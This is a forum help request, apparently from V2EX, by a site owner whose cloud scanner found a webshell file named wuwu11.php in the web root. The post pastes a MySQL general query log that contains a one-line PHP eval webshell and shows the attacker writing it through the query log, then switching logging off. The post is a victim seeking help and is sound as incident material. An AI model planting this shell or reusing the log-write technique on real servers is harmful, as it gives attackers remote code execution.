求助各位 v 友，网站根目录多了一个 wuwu11. PHP 的文件

阿里云云盾检测到发现后门 webshell 根目录多了一个 wuwu11.php 的文件， 内容是：

D:\web\phpStudy\MySQL\bin\mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time                 Id Command    Argument
		65264 Init DB	mysql
		65264 Query	SHOW TABLES FROM `mysql`
		65264 Query	SHOW TABLE STATUS FROM `mysql`
		65264 Query	SELECT CURRENT_USER()
		65264 Query	SELECT `PRIVILEGE_TYPE` FROM `INFORMATION_SCHEMA`.`USER_PRIVILEGES` WHERE GRANTEE='''root''@''127.0.0.1''' AND PRIVILEGE_TYPE='EVENT'
		65264 Query	SELECT CURRENT_USER()
		65264 Query	SELECT `PRIVILEGE_TYPE` FROM `INFORMATION_SCHEMA`.`USER_PRIVILEGES` WHERE GRANTEE='''root''@''127.0.0.1''' AND PRIVILEGE_TYPE='TRIGGER'
		65264 Quit	
180330 19:55:36	65265 Connect	root@localhost on 
		65265 Query	SET NAMES 'utf8' COLLATE 'utf8_general_ci'
		65265 Init DB	mysql
		65265 Init DB	mysql
		65265 Query	select '<?php @eval($_POST[h])?>'
		65265 Init DB	mysql
		65265 Query	SHOW TABLES FROM `mysql`
		65265 Query	SHOW TABLE STATUS FROM `mysql`
		65265 Query	SELECT CURRENT_USER()
		65265 Query	SELECT `PRIVILEGE_TYPE` FROM `INFORMATION_SCHEMA`.`USER_PRIVILEGES` WHERE GRANTEE='''root''@''127.0.0.1''' AND PRIVILEGE_TYPE='EVENT'
		65265 Query	SELECT CURRENT_USER()
		65265 Query	SELECT `PRIVILEGE_TYPE` FROM `INFORMATION_SCHEMA`.`USER_PRIVILEGES` WHERE GRANTEE='''root''@''127.0.0.1''' AND PRIVILEGE_TYPE='TRIGGER'
		65265 Query	SHOW TABLES
		65265 Quit	
180330 19:55:37	65266 Connect	root@localhost on 
		65266 Query	SET NAMES 'utf8' COLLATE 'utf8_general_ci'
		65266 Init DB	mysql
		65266 Init DB	mysql
		65266 Query	set global general_log = 'Off'